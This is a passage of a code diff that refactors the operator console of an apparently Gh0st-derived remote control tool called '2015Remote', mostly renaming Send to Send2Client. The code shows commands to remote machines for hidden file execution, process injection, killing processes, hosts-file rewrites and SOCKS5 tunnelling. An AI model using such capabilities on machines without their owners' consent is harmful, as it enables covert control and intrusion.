nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); } } @@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR)); memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR), strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete() { BYTE bBuff; bBuff = COMMAND_FILE_NO_ENFORCE; - m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff)); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce() { BYTE bBuff; bBuff = COMMAND_FILE_ENFOCE; - m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff)); + m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow() lpPacket[0] = COMMAND_OPEN_FILE_SHOW; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide() lpPacket[0] = COMMAND_OPEN_FILE_HIDE; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_INFO; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption() lpPacket[0] = COMMAND_FILE_Encryption; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt() lpPacket[0] = COMMAND_FILE_Decrypt; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile() lpPacket[0] = COMMAND_FILE_CopyFile; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("准备粘贴")); } @@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_PasteFile; memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip() lpPacket[0] = COMMAND_FILE_zip; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); @@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip() void CFileManagerDlg::OnRemotezipstop() { BYTE lpPacket = COMMAND_FILE_zip_stop; - m_iocpServer->Send(m_ContextObject, &lpPacket, 1); + m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1); } void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) @@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1]; lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST; memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH)); - m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); SAFE_DELETE_AR(lpbuffer); SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } @@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_SEARCH_FILE; memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); // 设置按钮状态 m_BtnSearch.SetWindowText(_T("正在搜索...")); @@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop() GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); // TODO: Add your command handler code here BYTE bToken = COMMAND_FILES_SEARCH_STOP; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); } //显示搜索结果 diff --git a/server/2015Remote/file/CFileManagerDlg.h b/server/2015Remote/file/CFileManagerDlg.h index a4250cf..18a7526 100644 --- a/server/2015Remote/file/CFileManagerDlg.h +++ b/server/2015Remote/file/CFileManagerDlg.h @@ -92,7 +92,7 @@ namespace file { void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录 bool id_search_result; CStatusBar m_wndStatusBar; - CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); ~CFileManagerDlg() { m_bIsClosed = TRUE; SAFE_DELETE(m_ProgressCtrl); diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index 4d257c9..a61c4d4 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -14,14 +14,10 @@ #define IDM_PROXY_CHROME 8000 -CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) - : CDialog(CProxyMapDlg::IDD, pParent) +CProxyMapDlg::CProxyMapDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) + : CDialogBase(CProxyMapDlg::IDD, pParent, pIOCPServer, pContext, IDI_Proxifier) { - m_iocpServer = pIOCPServer; - m_ContextObject = pContext; m_iocpLocal = NULL; - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier)); - m_bIsClose = false; } void CProxyMapDlg::DoDataExchange(CDataExchange* pDX) @@ -87,24 +83,24 @@ BOOL CProxyMapDlg::OnInitDialog() void CProxyMapDlg::OnCancel() { - if (m_bIsClose) return; + m_bIsClosed = true; + // 等待数据处理完毕 + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + m_iocpLocal->Shutdown(); + SAFE_DELETE(m_iocpLocal); - m_bIsClose = true; - m_iocpServer->Disconnect(m_ContextObject); - DestroyIcon(m_hIcon); - m_iocpLocal->Shutdown(); - SAFE_DELETE(m_iocpLocal); - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - Sleep(50); - if (IsWindow(m_hWnd)) - DestroyWindow(); + CancelIO(); + + DialogBase::OnClose(); } void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode) { CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user; - if (g_pProxyMap->m_bIsClose) return; + if (g_pProxyMap->m_bIsClosed) return; DWORD index = pContext->ID; TCHAR szMsg[200] = { 0 }; @@ -118,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT BYTE lpData[5] = ""; lpData[0] = COMMAND_PROXY_CLOSE; memcpy(lpData + 1, &index, sizeof(DWORD)); - g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5); + g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5); } wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index); break; @@ -126,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT break; case NC_RECEIVE: if (pContext->m_bProxyConnected == 2) { - g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0), + g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0), pContext->InDeCompressedBuffer.GetBufferLength()); wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5); } else if (pContext->m_bProxyConnected == 0) { @@ -143,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接 memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号 memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口 - g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf)); + g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf)); in_addr inaddr = {}; inaddr.s_addr = *(DWORD*)(buf + 5); char szmsg1[MAX_PATH]; @@ -156,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN); memcpy(HostName + 1, &index, 4); memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2); - g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8); + g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8); SAFE_DELETE_ARRAY(HostName); wsprintf(szMsg, _T("域名 连接 %d \r\n"), index); } else if (lpData[3] == 4) { //ipv6 @@ -193,7 +189,7 @@ void CProxyMapDlg::OnReceiveComplete() if (m_iocpLocal == NULL) return; - if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose) + if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClosed) return; LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0); @@ -255,14 +251,14 @@ void CProxyMapDlg::OnReceiveComplete() void CProxyMapDlg::AddLog(TCHAR* lpText) { - if (m_bIsClose == TRUE) return; + if (m_bIsClosed == TRUE) return; m_Edit.SetSel(-1, -1); m_Edit.ReplaceSel(lpText); } void CProxyMapDlg::AddLog_other(TCHAR* lpText) { - if (m_bIsClose == TRUE) return; + if (m_bIsClosed == TRUE) return; m_EditOther.SetSel(-1, -1); m_EditOther.ReplaceSel(lpText); } @@ -285,15 +281,6 @@ void CProxyMapDlg::OnSize(UINT nType, int cx, int cy) m_Edit.MoveWindow(&rectEdit); } -void CProxyMapDlg::PostNcDestroy() -{ - if (!m_bIsClose) - OnCancel(); - CDialog::PostNcDestroy(); - delete this; -} - - void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam) { CMenu* pSysMenu = GetSystemMenu(FALSE); diff --git a/server/2015Remote/proxy/ProxyMapDlg.h b/server/2015Remote/proxy/ProxyMapDlg.h index 8a2257f..14ed2cb 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.h +++ b/server/2015Remote/proxy/ProxyMapDlg.h @@ -31,10 +31,10 @@ typedef struct { } Socks5Info; // 代理测试: curl --socks5 127.0.0.1:5543 https://www.example.com -class CProxyMapDlg : public CDialog +class CProxyMapDlg : public DialogBase { public: - CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + CProxyMapDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); enum { IDD = IDD_PROXY }; @@ -45,7 +45,6 @@ public: void AddLog(TCHAR* lpText); void AddLog_other(TCHAR* lpText); virtual void DoDataExchange(CDataExchange* pDX); - virtual void PostNcDestroy(); virtual void OnCancel(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); virtual BOOL OnInitDialog(); @@ -53,11 +52,7 @@ public: DECLARE_MESSAGE_MAP() private: - ClientContext* m_ContextObject; - ISocketBase* m_iocpServer; CProxyConnectServer* m_iocpLocal; - HICON m_hIcon; - bool m_bIsClose; CEdit m_Edit; USHORT m_nPort; CEdit m_EditOther; diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 52f2439..d4dd620 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -23,7 +23,7 @@ static UINT indicators[] = { }; -CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) +CMachineDlg::CMachineDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext) : DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE) { m_pMainWnd = (CMy2015RemoteDlg*)pParent; @@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog() AdjustList(); BYTE lpBuffer = COMMAND_MACHINE_PROCESS; - m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1); return TRUE; } @@ -333,7 +333,7 @@ void CMachineDlg::reflush() int nID = m_tab.GetCurSel(); DeleteList(); BYTE TOKEN = MachineManager(nID); - m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1); + m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1); } @@ -800,7 +800,7 @@ void CMachineDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char)); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -878,7 +878,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILLDEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -891,7 +891,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -904,7 +904,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_FREEZING; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -917,7 +917,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_THAW; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -930,7 +930,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_DEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -967,7 +967,7 @@ void CMachineDlg::ShowProcessList_menu() DWORD wr = 0; ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL); CloseHandle(hFile); - m_iocpServer->Send(m_ContextObject, lpBuffer, allsize); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize); SAFE_DELETE_AR(lpBuffer); } SAFE_DELETE(p_InjectData); @@ -1041,7 +1041,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_RESTORE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1056,7 +1056,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_HIDE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1070,7 +1070,7 @@ void CMachineDlg::ShowWindowsList_menu() DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); m_list.SetItemText(nItem, 3, _T("发送关闭命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1085,7 +1085,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MAXIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1100,7 +1100,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MINIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1114,7 +1114,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1129,7 +1129,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1144,7 +1144,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1201,7 +1201,7 @@ void CMachineDlg::ShowNetStateList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1270,7 +1270,7 @@ void CMachineDlg::ShowSoftWareList_menu() LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()]; lpBuffer[0] = COMMAND_APPUNINSTALL; memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength()); - m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1366,7 +1366,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1394,7 +1394,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1422,7 +1422,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1454,7 +1454,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2); offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_ContextObject, lpBuffer, len); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len); LocalFree(lpBuffer); } @@ -1465,7 +1465,7 @@ void CMachineDlg::ShowTaskList_menu() break; case 104: { BYTE bToken = COMMAND_MACHINE_TASK; - m_iocpServer->Send(m_ContextObject, &bToken, 1); + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); } break; } @@ -1560,7 +1560,7 @@ void CMachineDlg::ShowServiceList_menu() bToken = COMMAND_SERVICE_LIST_WIN32; else bToken = COMMAND_SERVICE_LIST_DRIVER; - m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); } break; case 700: @@ -1630,7 +1630,7 @@ void CMachineDlg::ShowHostsList_menu() LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()]; lpBuffer[0] = COMMAND_HOSTS_SET; memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength()); - m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } break; diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h index 1d3af3b..05028fd 100644 --- a/server/2015Remote/sys/MachineDlg.h +++ b/server/2015Remote/sys/MachineDlg.h @@ -13,7 +13,7 @@ class CMachineDlg : public DialogBase { public: - CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); ~CMachineDlg(); enum { IDD = IDD_MACHINE }; diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp index 9498a9b..4156035 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.cpp +++ b/server/2015Remote/sys/ServiceInfoDlg.cpp @@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength()); - m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); + m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h index 0490954..f738281 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.h +++ b/server/2015Remote/sys/ServiceInfoDlg.h @@ -19,7 +19,7 @@ public: CServiceInfoDlg(CWnd* pParent = NULL); ClientContext* m_ContextObject; - ISocketBase* m_iocpServer; + Server* m_iocpServer; enum { IDD = IDD_SERVICE_INFO }; CComboBox m_combox_runway;